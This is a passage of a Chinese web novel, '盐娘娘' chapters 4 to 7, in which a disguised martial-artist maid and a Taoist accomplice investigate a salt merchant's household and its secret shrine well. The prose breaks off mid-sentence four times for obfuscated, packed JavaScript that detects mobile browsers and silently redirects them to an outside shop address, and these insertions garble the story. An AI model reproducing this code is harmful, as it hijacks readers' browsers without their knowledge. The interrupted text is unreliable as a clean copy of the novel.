“夫人定会喜欢的。”那老人笑着，泛红的鼻头皱缩着，像只体型硕大的老鼠。 深吸一口气，晏回驱散到脑中纷杂的思绪，重新换上一副温柔驯顺的模样，准备迎接回房来小憩的大夫人。 房门被轻轻推开，丫鬟翠竹搀扶着大夫人走了进来。大夫人体态瘦削，弱不胜衣，可盛春季节，额上却是沁出了一层细汗，眉眼间也是恹恹的，似乎屋外绚烂夺目的春景与她毫无瓜葛一般。 “夫人。”晏回柔柔下拜。 “嗯。”大夫人崔氏依旧不咸不淡地从鼻腔中哼了一声，抬步向铺好的床榻走去。 晏回垂着眼帘，看着大夫人的绣鞋悠悠地踱了过来，突然脚步僵硬地滞住，长及脚面的裙摆簌簌颤了起来。 晏回疑惑地抬起头，却见大夫人双目圆睁，如同窥见世间最可怖之事物般，指着晏回，徒劳地开合着嘴。她似乎想要喊，但纤弱的脖颈箍住了那声尖叫，让她本就苍白的皮肤此刻惨白得泛青。 晏回警觉回身，身后空无一人，只有收拾得一尘不染的妆奁和开至浓时的忘忧草。莹黄的花瓣优美地舒展开来，凝着点点新鲜的水珠。 “夫人？”丫鬟翠竹也吓了一跳，慌忙上前搀扶。 崔氏颤抖着，终于尖锐地喊出声来：“哪儿……哪儿来的花！” ——花？ “回夫人，这是婢子在那娘娘庙前采的，婢子瞧着颜色好看，便——” 崔氏的眼神冷得骇人，她直挺挺地向着晏回走来，突然毫无征兆地抬起手，狠狠抽在晏回的脸上。 晏回下意识地攥住拳，压抑住自己想要格挡的冲动，硬生生地受了这一巴掌。同崔氏弱不经风的身子相比，这一巴掌实在是势大力沉，饶是自小习武的晏回，都被打得向一边偏去。晏回捂着脸，借势摔倒在地。 再抬起头，泪水已经夺眶而出。 “夫人饶命，婢子知错了，夫人饶命！” 崔氏毫不在意地上求饶的晏回，冲到妆奁前，猛地将插着忘忧草的瓷瓶打翻在地。瓷瓶应声而碎，迸溅的水花不偏不倚地招呼在晏回身上，让本就泪流满面的女子愈发狼狈。 做完这一切，崔氏仿佛被人抽走了魂魄一般，身子晃了晃，踉踉跄跄的摔在床上。看她的脸色，也不比惊恐交加的晏回好到哪儿去。 只听崔氏的牙齿发出“咯咯”地磕碰声，半晌挤出一个字：“滚……” 晏回只是慌乱地哭，似乎彻底失了方寸。 丫鬟翠竹赶上来一脚揣在晏回腿上，声音发颤道：“聋了！？夫人让你滚啊！” 晏回这才如梦方醒，连滚带爬地奔出房去，还不忘敛走那束委顿在地的忘忧草。 只见晏回狼狈地冲出房门，却在拐过游廊的瞬间挺直了脊背。指尖抹过唇角的血迹，在指腹上氤氲出一朵夺目的红。 一声冷嗤随之绽开，晏回凝着手中的花束，轻声道：“忘忧草……何以忘忧，你在怕什么呀大夫人……” * * * 是夜。 子时的梆子刚过，西院角门便吱呀推开了一道缝。 先是一提灯笼摇摇晃晃地探了出来，紧接着，小顺子便打着哈欠挤出门来。傍晚吃多了酒，下腹□□，他一边走一边单手解着裤腰，着急寻茅厕去。即便是憋得踩着碎步直跺脚，小顺子还硬是绕开了娘娘庙旁侧的茅房，往东墙根歪歪扭扭蹭去。 夜风卷着灯笼纸哗啦一响，他缩脖啐了口痰，全然未觉脑袋顶的飞檐上伏着一个沉默的暗影。 不多时，小顺子叹了口气，紧接着哗啦啦的水声响起，那檐上的影子却随之活了起来。月轮恰在此时攀上中天，只来得及照亮那人影弓身提气的瞬息，那窄长的剪影被拓在对面的墙上，倏然而逝。 待小顺子系好裤带，回转过头，檐上早已空无一人。 不消说，方才隐在飞檐之上的正是穿着夜行衣的晏回。和小顺子的狭路相逢，让她耽搁了些时间，待到达约定的大树下时，只看到原地插着的三炷香，并不见人。 晏回也不急，背着手在树下站定。不出所料地，下一瞬，高大的树冠上便传来悠然的男声。 “今夜有酒有月亦有风，姑娘可愿与贫道小酌几杯？” “范凌舟，我只有一炷香的时间。”晏回冷冷道。 话音才落，树冠上便哗啦一阵响，一个白晃晃的身影便如俯冲而下的大鸟一般稳稳落地。映入眼帘的，是长生观观主范凌舟笑眯眯的眉眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595664|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “莫急嘛——” 看着他那一身张扬的白袍素冠，在墨色的夜里仿佛混入大米的红豆般明显，晏回握拳了数次，方能克制住自己长叹一声的冲动。 等范凌舟收敛起那副嬉皮笑脸，晏回施施然开口，将自己在鲁府数日来的见闻尽数相告。为了防止节外生枝，她刻意隐去了自己与大夫人崔氏发生的冲突，将之一带而过。范凌舟则撑着腮仔细听着，时不时发表些自己的见解。 “不用说，那娘娘庙里藏着大秘密。”范凌舟颇为笃定的总结道。 晏回点了点头，从怀中掏出一物，递给范凌舟：“这是我趁着那老人采花之时，从锁孔里拓的泥模。我的身份不太方便，探查之事便交予你吧！” 眼神中闪过一丝狡黠的笑意，范凌舟轻声道：“遵命。” “你那边安排得如何了？” “万事俱备，只欠——东风。” 晏回心里清楚，这范凌舟虽然表面上嘻嘻哈哈，可在任务上却从未失手，倒是那唐珠儿年纪尚轻，只怕分不清轻重缓急，便又道：“珠儿那边你要时不时叮嘱着些。” 见范凌舟点头应承，晏回还是不放心，又缀了一句：“来青州府的路上，她食多了春杏，近些日子，是不能再吃了。” 对自己只有区区九个字，尚凑不整十。可对那小班主倒是尽心孤诣，说了整整两句话呢！范凌舟砸吧了一下嘴：“西楼，我也食多了春杏，还——” 晏回知道，这范凌舟又要开始口无遮拦，便不再与他多言，转身欲走。 回身的刹那，月光割破云层，斜斜地劈了下来，映亮了晏回左颊上未消的指痕，连带着崔氏指甲刮出的血丝都纤毫毕现。 范凌舟唇角的笑纹瞬时冻住了。 晏回只觉手腕一紧，耳畔响起范凌舟凉凉的声音。 “还有人能伤得了你？” 同平时飞扬的尾音不同，范凌舟说得一字一顿，让人听着后背发寒。 晏回挣了两下没甩开，索性抬眸迎上他的视线：“鲁府大夫人。”她的语气平淡，不带丝毫的情绪。“算不得伤，就是指甲刮了一下。” “好，我记下了。” 难得正经的语气却让晏回起了警觉，敲打道：“范凌舟，任务重要。” 再看他时，道人又眯着眼睛笑了起来，可声音里却偏生没有笑意：“知道啦，贫道还能真打女人不成？” 晏回心中约莫着时间，知道这一炷香即将燃尽，已经没有空闲再跟范凌舟掰扯了。便再次严肃地扫量警示了他两眼，转身消失在林影深处。 范凌舟立在原地，半晌没有动弹，只是手指间摩挲着从钥匙孔里拓下来的泥模，差点儿将之碾碎。 5. 盐娘娘（五） 还未翻进院墙，晏回心中就暗道不好。出来之时就觉得天气阴冷憋闷，罕有月色，这刚刚一炷香的时间，竟是下起雨来。 雨帘里的身影只是一个纵跃，便消失在院墙笼罩出的暗色之中。 下人的房间较之主人的卧房低矮逼仄，两张小榻对向而放，对面的翠竹睡得正香。窗格被缓缓推开，晏回轻手轻脚地翻进屋来，吹灭了尚在燃烧的安魂香。线香只剩下一点尾巴，马上就要没在隆起的香灰里。 还好，正巧一炷香的时间。 晏回脱去身上的夜行衣，妥善藏好，垂头看向自己内着的里衣。饶是她敏捷过人，可里衣还是受了潮，此刻黏在身上被夜风一吹，湿冷难耐，她刚准备将里衣换下，天空中轰地崩开一声炸雷！ 这春雷憋了一整个冬天，此刻骤然解放，声音大得响天彻地，肆意畅快，只觉地面都跟着摇了三摇。对面的翠竹被这声惊雷骇得猛地坐起身来，迷糊地左右瞧了瞧，嘟囔道：“哪里放炮了吗？” 朦胧的睡眼瞥到正坐在床上的晏回，脸色登时不好看起来，使唤道：“傻坐着干什么，还不快把窗户掩好！” 晏回也佯装被惊雷震醒，喏喏称是，脸色惨白地站起来关窗户。 只听身后的翠竹尤不罢休地训斥着：“真是……呆头呆脑的……”紧接着，皮肤与锦被的摩擦声响起，晏回不用回头，便知道翠竹又蒙头盖脸地会周公去了。 驯顺地掩好了窗户，晏回看了一眼翠竹床上高高隆起的被褥，眸中闪过一丝亮色。她没有回榻上休息，也没有换上一身干爽的衣裳，反而迎着冷雨，推门而出。 就在方才翠竹嘟囔咒骂的当口儿，她隐约听到了一声压抑惊恐的尖叫。那尖叫声传来的方向不是别处，正是大夫人的卧房！ 那大夫人平日里若冰雕雪砌的菩萨般寡言讷语，除了无忧草那次皆喜怒不形于色，此番失声尖叫，倒不失为借机刺探的好时机。 等到晏回着急忙慌地冲入大夫人的房间时，她单薄的里衣已经被雨水浇透了，没来得及穿好的鞋子圾拉着，鞋壳儿里汪着一层冷水，还跑掉了一只。披散着的长发一条一缕地贴在脸颊上，蜷曲在锁骨上，更衬得晏回的脸色惨白一片。 “夫人，你怎么了？” 缩在床榻上的大夫人崔氏形容狼狈，似乎比淋了夜雨的晏回还要凄惨上几分。只见她双目惶乱地大睁着，整个人蜷缩在床角，瘦削的双肩高高向上顶起，将纤弱的脖颈藏匿其中。她用双臂紧紧抱着腿，用力之大几乎要将自己折断。 寂静的夜里，除了屋外滂沱的雨声，便只剩下大夫人崔氏牙齿磕碰发出的“咔嗒”声。 “夫人！”晏回三步并作两步赶到床前，将锦被仔仔细细地披在崔氏的身上，用自己湿淋淋的手轻轻攥了一下大夫人崔氏的胳膊。 “夫人别怕，婢子在呢！” 崔氏凄惶地抬眸，魂不守舍地望了晏回一眼，瞳仁晃动间，隐约有着水光。她一言不发，床下的婢子也始终乖顺地站着，直到她感到锦被中的温度逐渐升高，直到那婢子脚下汇聚出了一汪小小的水洼。 崔氏终于开口了。 “翠竹呢……” 翠竹是她从娘家带过来的丫鬟，从小一起长大，平日里最是亲密。近些年来，她双耳不闻窗外事，只知吃斋念佛，与翠竹的交流也少了许多，但说到底，心里还是记挂信任的。 “翠竹姐睡得沉，婢子便没吵她。”晏回老老实实地应了，苍白的脸上泛起不健康的潮红，想来是冻着了。 “那你来作甚……”崔氏垂下双眸，声音又弱了几分。 “婢子担心夫人。”晏回道。 “你……不恨我？” 晏回用力摇了摇头，湿漉漉的发在空中甩出晶莹的水珠：“夫人惩罚婢子，是婢子的错，婢子不怨更不恨。” “婢子只希望……夫人能开心些……” 崔氏闻言抬头，从扎紧的锦被□□出两道灼灼的视线，紧盯在晏回的脸上，似乎在盘问着什么，验证着什么。晏回不辩解，亦不闪躲，只是乖巧地立着，满脸都是任人宰割的温顺，如同一只暴雨中迷失的鹿。 良久，崔氏长叹一声，声音轻而又轻：“这与你无干……你回去吧。” 此时，晏回身上的里衣已经被夜风吹得半干了，屋外的雨势渐弱，微薄的月色如同包袱皮儿中隐约可见的一锭银子，影影绰绰。她伺候崔氏饮了两口热茶水，又袅袅婷婷地对崔氏行了个礼，方才冒着雨往回走。 她能感受到，崔氏那凄惶闪动的目光，始终扎在她的背上。 * * * 第二日。 经历了一整夜的大雨，空气里的土腥气被冲刷得干干净净，只余鼻尖若有似无的青草香。晏回搬了个木盆，借着水缸中积攒的雨水，洗着衣服。 “唰啦，唰啦”，有节奏的搓衣声在院儿中回荡，而在这声音的掩盖之下，一双装饰华美的如意云头履踏进院来。 晏回没有抬头，只作浑然不知之态。清晨的阳光斜斜地洒下来，映亮了她低垂的侧脸，以及脸颊上淡淡的指痕，如同倏然绽开的五瓣桃花。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595665|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “晏姑娘，这两日住得可还习惯？” 晏回应声抬头，正撞进低头询问的鲁秉添的视野里。初见惊艳，再见亦然，鲁秉添不由眸光一亮。 见是自家老爷探问，晏回忙羞赧地站起身，施了一礼，将湿漉漉的双手藏在身后，声音轻柔地应着：“托老爷的福，婢子也算有了立锥之地，婢子心中感激不尽。” 鲁秉添的鼻腔中满意地哼出一口气，细长的眸子不断地在晏回周身逡巡。很难说清，这个女子身上到底有什么不断吸引着他。鲁秉添也算是阅女无数，除去夫人崔氏不说，先前的四位小妾也个个貌美如花，各有千秋。可这个晏回姑娘，却终究不同。 那柔弱秀丽的外表之下，有着让人捉摸不透的滋味与风情，引得他不住去探寻。 鲁秉添向前逼上一步，将女子笼罩在他身体形成的阴影之下，呼吸沉重：“我听小顺子说，你昨日在夫人房里受了委屈？这指痕……”绵软的手指虚虚拂过晏回的颊边，“倒像是扫多了胭脂，艳丽得很。” 晏回不着痕迹地侧身避开，顺势捞起木盆里洗好的衣裙，“老爷说笑了，夫人待婢子宽厚，是婢子愚钝，打翻了夫人的花瓶”，她将湿衣拧成绞绳，水珠滴滴答答砸进木盆，如同昨夜淋漓不尽的春雨，“原该受罚的。” 鲁秉添的喉结滚动数下，贪婪的视线顺着晏回挽起的袖口向上攀爬，“宽厚？我是知道她的，若当真宽厚，早该抬举你进房里伺候，”肥腻的手掌不安分地抚上了晏回的后腰，“何苦教你在此浣衣呢？” “咣当”一声，晏回受惊的猫儿般跳到一旁，冷不防踢翻了木盆，盆中的余水畅快流淌，逼得鲁秉添不得不后撤躲水。而晏回怀里抱着半干不湿的衣裙，告罪不迭：“老爷……婢子命薄，能替夫人分忧已是造化，不敢肖想其他……还望老爷，恕罪……” 略一抬眸，眼尾胭红，已是隐约含泪，让鲁秉添看得心头一颤，再反应过来，晏回早已揽着木盆跑出了老远。 鲁秉添不安分的手还擎在半空，怀中却再无温香软玉，不由脸上讪讪，口中嘟囔道：“倒是个有规矩的……” 虽是勾搭不成，可鲁秉添知道，既是入了他家的宅子，俯身屈就便是迟早的事儿，不在乎这一朝一夕。更何况，好摘的花儿反而不香，偏是这晏回姑娘，不卑不亢，有礼有节，反倒多出些意想不到的兴味。 鲁秉添意犹未尽地砸吧了一下嘴唇，哼着小曲儿，转身踏出院去。他并未注意到，在月亮门的阴影处，有一双阴森的视线，冷冷射了过来，将方才的插曲看了个真切。 6. 盐娘娘（六） 因着昨夜的暴风骤雨，大夫人崔氏睡得极不安稳，早上便醒得迟了些。谁知，才刚睁眼，便被自家婆母，鲁秉添的母亲——邵老夫人叫到堂前训话。 丫鬟将崔氏引到后堂，才方站定，就对上邵老夫人那一双阴恻恻的眸子。 崔氏老老实实地垂下眼帘，在老夫人严苛的目光里施了一礼：“娘。” 邵老夫人端坐在紫檀圈椅中，枯瘦的手腕虚虚地搭在扶手上，装若无意地朝着崔氏点了点：“崔玉容，你房里的人，该管管了。” 崔氏面上波澜不惊，对于自家婆母的强势，她早已见怪不怪。 “娘教训的是。” “天天只知道喏喏称是，怎么不问问我说的是谁？”邵老夫人道。 崔氏终于缓缓抬起了头，昨夜的惊惧似乎还没有从她的眼中散去，让她苍白的脸色愈显病态，隐隐泛着青色。 “娘说的是……” “崔玉容，你也学会装糊涂了？”邵老夫人冷笑一声，放下手中的茶盏在案几上重重一磕，“你房里新收的叫花子，长着一副狐媚脸，日日在老爷跟前儿晃悠，你当我是瞎的？”她眼风如刀，直刺向崔氏，“什么阿猫阿狗都敢往老爷身边凑，你这主母当得，越发没个章法！” 崔氏指尖在袖中微微一蜷，心里只觉咯噔一声。她万没料到老夫人点的是初来乍到的晏回，她沉默半晌，方开口道：“新婢不识路，冲撞了老爷，是妾管教不疏。” “不识路？”老夫人的唇角向下重重一扯，讥诮道：“我记得，当年那个楚怜，也是这般说辞。可最后呢，不还是叫盐娘娘收了去？” 崔氏下颌骤然收紧，喉间滚了滚，却仍垂眸盯着青砖缝隙：“那婢子老实，又是佃农出身，不敢作此非分之想。” “希望如此”，崔氏只觉头顶盘旋的声音愈发近了，老夫人倾着身子，目光死死扎在崔氏的脸上，“你要知道，盐娘娘可瞧着呢！” 崔氏膝盖一软，攥紧了手中的佛珠，强迫自己将脊背挺直。昨夜的雨水似乎轰然又至，女子湿漉漉的安慰声言犹在耳。 ——夫人别怕！ ——婢子只希望……夫人能开心些…… 崔氏吐出一口气，缓缓道：“还望娘……容妾几日，再教她些规矩。” 回应她的，是高悬于头顶的一声冷哼。 * * * 与崔氏的隐忍沉默不同，邵老夫人发完满肚子的邪火，便坐着轿子去了城西的宁国寺。 自鲁府发迹以来，宁国寺吃了不少好处，受了几多香火，对邵老夫人的驾临自然是前呼后拥，殷勤备至。且不说住持在寺门口恭候亲迎，便是喝茶歇脚的厢房都熏上了沉水香，不敢有丝毫的怠慢。 寺里僧众的谄媚，便如沸水蒸腾出的热气，将邵老夫人心中的隐忧缓缓抚平。自宁国寺出来，老夫人脸上的褶皱都轻了些许，眉眼里也见了笑。 随行的丫鬟小厮也皆是有眼眉的，锦上添花地捧道：“老夫人，婢子方才瞧着，您放生的那几尾锦鲤，鳞片金灿灿的，一甩尾巴都耀人眼睛呢！” 小顺子笑道：“桃儿姐姐这便露怯了，那鳞片哪只是金灿灿，那明明是带着佛光呢！连住持都说，咱老夫人菩萨心肠，怕是西天的神仙转世，来这凡尘救苦救难呢！” 邵老夫人抬起手，在小顺子的后脑上轻轻一拍：“就你这猴儿嘴甜！” 小顺子赶紧眯眼笑着受了，嘴上不住道：“那还不是当年在老夫人座下吃多了蟠桃，这事儿得怪老夫人呢！” 此话一出，上到老夫人，下至一干婢女，都笑得合不拢嘴，小顺子自是得意，连最难伺候的老夫人都能让自己逗得前仰后合，鲁府上下，岂不尽由自己拿捏？正想着，却听墙根处传来一声嗤笑。 人在兴头上，最恨的便是泼冷水之人。小顺子猛地转头，向墙根处立着的人影怒目而视，众人便也随着他的目光瞧了去。 只见那墙隅的阴影里走出来一年轻道人，白袍素观，如鹤翔云端，唯拂尘上隐约一点鲜红，白梅凌雪一般，施施然挡在众人身前。 “无量天尊。”范凌舟悠悠道。 “你这道士，好生无礼！”邵老夫人的贴身丫鬟桃儿指着范凌舟的鼻子正准备开骂，却见对方长得眉雅眸秀，温润如玉，当下哑了口，敛了脾气，在老夫人身旁端庄立着。 小顺子最是讨厌这种白面小生，见桃儿不顶用，便接口斥道：“说你呢！笑什么！老夫人的身份也是你这泼皮道士能冲撞得了的！” 范凌舟也不恼，低眉浅笑道：“贫道笑诸位，大难临头却不自知啊——” 他拉长了尾音，既像喟然，又似叹息。 邵老夫人一向尊佛重道，面上并没有露出不悦之色。她细细打量了一下面前的道人，极是面生，想来并不是寿光周边道观中人。再加上他明明是道家中人，却横行无忌地立在佛教的寺庙门口，想必是不知哪里流落而来的混家子，当下也不与范凌舟计较，对桃儿使了个眼色。 桃儿心下了然，从袖中掏出几枚铜板，走到范凌舟面前，小心翼翼地抬眸瞄了一眼，轻声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595666|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“还请道长让路，到别处结善缘吧！” 铜板落下，范凌舟却略略向后撤了一步，“当啷啷”数声，铜板尽数坠地。 “道长你……”桃儿也着了恼。不料，范凌舟并不理会，而是径直朝邵老夫人走去。 见那范凌舟蹬鼻子上脸，小顺子哪里肯依，一个箭步上前，张开双臂就要推搡，口中怒喝道：“你这牛鼻子，放肆——”话音未落，只见那虚虚搭在臂上的拂尘轻飘飘一抬，雪白的尘尾便如蟒似蛇般缠上了小顺子的手腕。 小顺子只觉一阵巨力，拉扯着他踉跄向后跌去，狠狠撞在轿杠上，一口气儿差点儿没上来，哪还有反抗的力气，只能扶着胸口艾艾叫唤。 这一推一扯之间，范凌舟已经直逼老夫人身前。他微微俯身，声音压得极低，每一字每一句却精准地传入邵老夫人耳中：“老夫人，贵府进了妖孽，此孽以血为巢、以怨为骨，如今已化出人形，藏于府中水脉之间……” 他直直地看向老夫人隐含恐惧的双眸，露出了一个让对方毛骨悚然的笑容：“只怕贵府的盐娘娘都震慑不住呢……” 邵老夫人自问，盐娘娘的秘密被自己隐藏得极好，世人只知盐娘娘去母留子之表象，可其中秘辛除了屈指可数的几人外，并不为外人道也。那这面生的道人，又是如何知晓？ 亦或者，是自己太过敏感，高估了这道人？ 可若并非如此，这水脉一事…… 邵老夫人的心头翻起惊涛骇浪，只见眼前白光一闪，那拂尘悠然一挥，仿佛驱散了最后一丝迷雾：“老夫人，孽障未消，贫道自当再来拜会。” 范凌舟展袖挥臂，再无留恋，转身离去，空中唯余悠扬的道号声：“无量天尊——” 众人尽皆瞠目，凝着范凌舟雪白的背影，半晌无言。 “胡……胡言乱语！”待范凌舟的背影都瞧不见了，老夫人方才爆发出一声劈了叉的尖锐叫喊，“起轿！回府！快！” 在老夫人一叠声地催促下，轿夫手忙脚乱地抬起轿子。老夫人蜷缩着跌进轿内，帘子“唰”地一声落下，隔绝了她因为恐惧而皱缩在一处的脸。轿子如逃命般仓皇转向，徒留那一地散落的铜钱。 那邵老夫人并不知道，昨日夜里，那面生的道人悄无声息地翻墙越脊，轻手轻脚地打开了那小庙紧闭的木门。 惨白的月光割破云层，倒灌而入，将庙中的物什照得通亮。 范凌舟的眸子倏地睁大，口中喃喃道：“难道……” 庙中唯一神龛，一枯井而已。 7. 盐娘娘（七） 鲁秉添刚一入堂就觉得气氛不对，自家母亲双目无神地坐在堂上，膝盖向下的衣裙簌簌颤动着。 鲁秉添心中诧怪，温声问道：“娘，您脸色怎的这般难看？可是昨夜里……” 话才说到一半，邵老夫人便一把抓住了鲁秉添的手腕，力气之大让鲁秉添心头一惊：“添儿！你可有日日叩拜盐娘娘？一炷香、三叩首，半刻都不敢耽误？” 鲁秉添被抓握得疼了，下意识地向后撤了一下手：“您吩咐的事，儿子一时一刻未敢忘怀。” “那……那盐井呢？”邵老夫人压低了声音，浑浊的眼珠神经质地转动着。 “自是日日让下人打理着，卤水……” “不是那一口，是庙中的……庙中的那一口！” 被母亲接二连三地打断了话头，鲁秉添脸色略有不悦，他不知道母亲今日回来怎地跟着了魔似的，明里暗里地打听盐井之事。他好歹也是有了功名之人，还能连这点小事都处理不好吗？ “母亲只管放心，儿子知道轻重，断不会落人口实。”他在邵老夫人颤抖的胳膊上轻轻拍了拍，“您定是昨夜雷雨惊了魂，今日又进香累着了——” “来人，添茶。”鲁秉添极怕母亲的絮絮叨叨，见邵老夫人又欲开口，赶紧借口添茶，堵上她的嘴。 一双绣鞋刚踏进房里，鲁秉添便觉得心头的烦扰烟消云散了。只见晏回素首低垂，端着漆盘走了进来，素白的手指衬着乌木盘沿，像极了雪地里落了两瓣新梅。 鲁秉添的目光登时粘了上去，从光洁的面庞到修长的脖颈，一路向下，最终凝在纤细的腰肢，心中暗道：到底是没生过崽子的年轻身子，鲜嫩得要命…… 相较于崔玉容的枯槁，楚怜的臃肿，晏回那春日抽芽的柳条般的身姿，让鲁秉添恍了神，早已顾不得母亲尚在堂上，待晏回俯身为他续茶时，指尖“不经意”擦过她的手背。 晏回腕子一颤，滚烫的茶水泼出几滴，溅在鲁秉添袖口。 晏回慌忙跪倒：“奴婢该死！” 那茶水只是略略湿了衣裳，倒不曾烫到鲁秉添。再加上鲁秉添早已被迷得三魂没了七魄，又如何会生气，笑着道：“无妨无妨，一件衣裳罢了，终究不如美人娇贵。” 晏回俏脸一红，施了一礼便去堂外候着了。 珠帘轻响，玉人移步，鲁秉添的目光却还是舍不得挪开，直到邵老夫人气恼地干咳起来，鲁秉添才讪讪笑着道：“让娘见笑了。” 邵老夫人却没有鲁秉添的闲情雅致，相反，一种难以遏制的愤怒与不安涌上心头，她死死盯着那晃动的珠帘，咬牙切齿道：“果然是妖孽，定是她无疑了！”她转而看向鲁秉添，目光殷切，仿佛无比期待对方肯定的答复，“添儿，你瞧见了吗，那双眼睛，不安分得紧，活脱脱就是当年楚——” “娘！”鲁秉添颇有些不耐烦地笑了，“一个粗使丫头罢了，您何苦草木皆兵？”他摩挲着袖口茶渍，沉吟道，“儿子瞧着她稀罕……想抬举她做个姨娘，总强过在那崔氏屋里头受磋磨。” 他语气笃定，丝毫没有商量的意思，倒像是自然而然决定了一般。 “我不允！”邵老夫人勃然大怒，茶盏震得哐当作响，“买她时就不曾与我商量，如今竟要纳这来历不明的——” 回答她的，是那霍然而起的阴鸷影子：“娘，不过是纳个婢子而已，儿子自己还做不得主吗？” 看着鲁秉添毫无笑意的眸子，邵老夫人如鲠在喉，半晌没倒过气儿来。等她颤抖着出声，鲁秉添早已拂袖而去，不见人影了。 老夫人怔怔地坐着，只觉得满耳皆是珠帘晃动之声，良久方出言唤道：“桃儿……”声音恹恹，仿佛丢了魂魄一般，“去……去寻那道人。” 桃儿在邵老夫人催命般地催促声中，赶回了宁国寺，却遍寻不到晌午那白袍道人。就在她垂头丧气，准备回府复命之时，一位卖糖墩儿的小贩拦住了她，递给她一份简帖。桃儿火急火燎地展开一看，上书龙飞凤舞的数个大字： 若诚心一叙，且向猫儿胡同寻。——清水道人 邵老夫人经历了上午和儿子的龃龉，打心眼儿里认定了晏回就是道人口中的妖孽，此刻见那道人肯出手，哪还有二话，拽着桃儿和小顺子急急出了门，直奔猫儿胡同而去。 * * * 猫儿胡同位于寿光城的西面，是一道冗长阴暗的小巷子，因夜夜有野猫嚎叫而得名。青石板路被经年的污垢浸透，踩上去黏腻湿滑，两侧歪斜的木楼被挤得不见天光，以一种诡异的角度向着路面倾倒下来。行人走在其间，总会下意识抬头，似乎走进了野兽的喉管深处。 能在猫儿胡同存下的店面绝大多数做着见不得光的营生，久而久之，猫儿胡同成了阴沟鼠蚁的聚集地，达官显贵避之不及的腌臜渊薮，就连巡城的兵丁都只敢举着火把在外围虚晃一圈。 而像邵老夫人这般娇生贵养的官宦太太，又何曾见过这等场面。她唯有裹紧身上的织金斗篷，搀扶着桃儿的手臂瑟瑟发抖。小顺子将两位女眷护在身后，抻长了脖子左右探看着，像极了一只受惊的鹅。 “老夫人，这里……这里是什么地方啊！”桃儿紧着嗓子，用气声询问着。 邵老夫人本就气闷，压低声音怒斥道：“你问我我问谁，不是你带回来的简帖吗！”老夫人浑浊地眼珠扫量着阴暗的街道，哪里有那白色的身影呢？ “莫不是那妖道诓骗于我……”话说到一半，老夫人的目光突然直直钉在一面低矮的墙上，连呼吸都暂停了。 “小顺子”，邵老夫人急急唤道，“去，把那墙上的告示给我揭下来！” 小顺子顺着老夫人指示的方向看去，呼吸也不由得一滞，踏过沤了连日雨水的石板路，揭下了矮墙上贴的告示。背后的浆糊尚软糯，似乎是才贴上不久。那是一张簇新的悬寻，四指宽的桑皮纸， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595667|187430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墨迹淋漓—— 悬寻 万历十二年四月十五申时，于城隍庙戏台遗落槐木傀儡人偶一尊。 此偶高七寸，通体以雷击老槐木雕成，面容殊异。杏核目，猫眼瞳，薄唇含珠（形如图示）。 轻触后颈三寸，人偶眸转唇动，喉间簧片作断续呜咽声。 若有仁人君子拾得，请送猫儿胡同三道巷朱漆矮门。 酬纹银五十两，生死勿论。 失主 玉梨班小班主具 悬寻帖的下方有一张绘制精细的白描，正是那遗失人偶的肖像。那傀儡人偶有着一张柔弱苍白的脸，狭长的睫毛簇着一双猫眼石般浅淡的眸子，眸下寸许泛着淡淡的青色，恍若烟气一般。 老夫人捏着悬寻帖的手已经开始抖了，一张熟悉的脸不断地在脑海中翻涌。 晏回——定然是那妖女！ “这……这不就是老爷新买回来那个……”桃儿惊叫出声。 小顺子赶紧挥舞手臂，示意她噤声，压低声音道：“这没凭没据的，可不能瞎说啊桃儿姐！” “我哪有瞎说，明明就是一模一样！” “闭嘴！”一直沉默不语的老夫人突然斥道，她颤颤巍巍地指着悬寻上的字，哆嗦道：“都什么时候了还在这儿斗嘴皮子！你们都睁大眼睛瞧瞧——生死勿论，就是说只要能寻回这具人偶，不论生死，都能得到那五十两赏银。” 桃儿心头疑惑，只当老夫人也惦记那五十两赏银，正欲开口，却忽地一怔，明白了老夫人刻意点出这四个字的原因，不觉起了一身鸡皮疙瘩。 是了，一个人偶，本就是死物，为何要说“生死勿论”呢？难道……这人偶和老爷买回来的婢子并不仅仅是长得一模一样，而是压根就是一个人！？那婢子……就是这槐木人偶傀儡化成的妖物！ 